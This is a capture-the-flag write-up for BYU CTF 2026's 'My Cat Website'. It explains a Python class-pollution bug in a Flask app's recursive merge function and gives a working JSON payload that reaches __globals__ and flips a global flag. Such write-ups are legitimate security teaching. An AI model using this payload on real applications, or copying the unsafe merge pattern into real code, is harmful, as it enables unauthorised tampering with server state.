BYU CTF 2026 - My Cat Website

Challenge Description

kittiessss

https://cats.chals.cyberjousting.com

We get a small Flask app (dist.zip) that builds a “cat” out of a JSON body and renders it. The goal is to make it hand us the flag.

Initial Analysis

The whole app is about 80 lines. The interesting bits of app.py:

1
# TODO: figure out if I want them to have the flag or not
2
give_flag = False
3

4
class Cat:
5
    is_happy = False
6
    def to_dict(self):
7
        return {"name": self.name, "age": self.age,
8
                "color": self.color, "is_happy": self.is_happy}
9

10
def merge(src, dst):
11
    # Recursive merge function
12
    for k, v in src.items():
13
        if hasattr(dst, '__getitem__'):
14
            if dst.get(k) and type(v) == dict:
15
                merge(v, dst.get(k))
16
            else:
17
                dst[k] = v
18
        elif hasattr(dst, k) and type(v) == dict:
19
            merge(v, getattr(dst, k))
20
        else:
21
            setattr(dst, k, v)
22

23
@app.route("/cat", methods=["POST"])
24
def create_cat():
25
    data = request.get_json()
26
    ...
27
    cat = Cat()
28
    merge(data, cat)               # attacker-controlled dict merged onto an object
29
    cat = cat.to_dict()
30
    if give_flag and cat.get("is_happy"):
31
        return render_template("flag.html", cat=cat, cat_ascii=cat_ascii)
32
    return render_template("cat.html", ascii_art=random.choice(cat_ascii), **cat)

To reach flag.html we need two things to be true at the same time:

the module-level global give_flag must be truthy, and
is_happy must be truthy.

is_happy is easy (just send it). give_flag is a global that is never set to True anywhere, so we need a way to reach out and change it.

The Vulnerability

This is classic Python class pollution (the Python cousin of JS prototype pollution). merge(data, cat) walks our JSON and, for any nested dict, recurses using getattr / setattr on arbitrary attribute names. That lets us climb Python’s object graph from the Cat instance all the way to the module globals:

1
cat.__class__            -> the Cat class
2
        .to_dict         -> the to_dict function object
3
        .__globals__     -> the module global namespace (a real dict)
4
        ["give_flag"]    -> overwrite the global!

Why it lands on the global: when the recursion finally reaches __globals__, that object does implement __getitem__ (it is a dict), so merge takes the first branch and does dst["give_flag"] = True, mutating the live module namespace.

Exploitation

Send is_happy plus the pollution chain in one request:

1
import requests
2

3
payload = {
4
    "name": "kitty", "age": 1, "color": "black",
5
    "is_happy": True,
6
    "__class__": {"to_dict": {"__globals__": {"give_flag": True}}},
7
}
8
r = requests.post("https://cats.chals.cyberjousting.com/cat", json=payload)
9
print(r.text)   # flag.html with the flag

The global flips to True, is_happy is True, and the app renders flag.html.

Flag

1
byuctf{y0u_m4d3_k1tty_h4ppy}